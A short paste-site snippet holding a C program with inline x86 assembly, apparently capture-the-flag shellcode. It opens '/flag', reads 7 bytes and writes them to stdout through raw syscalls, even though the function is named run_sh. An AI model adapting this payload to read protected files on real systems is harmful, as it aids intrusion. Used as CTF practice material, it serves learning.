Untitled
unknown
plain_text
2 years ago
389 B
6
Indexable
__asm__(
".global run_sh;"
"run_sh:;"
"mov eax, 5;"
"push 0x67;"
"push 0x616c662f;"
"mov ebx, esp;"
"mov ecx, 0;"
"mov edx, 0;"
"int 0x80;"
"mov ebx, eax;"
"mov eax, 3;"
"mov ecx, esp;"
"mov edx, 0x7;"
"int 0x80;"
"mov eax, 4;"
"mov ebx, 1;"
"mov ecx, esp;"
"mov edx, 0x7;"
"int 0x80;"
"mov eax, 1;"
"int 0x80"
);
void run_sh();
int main() {run_sh();}Editor is loading...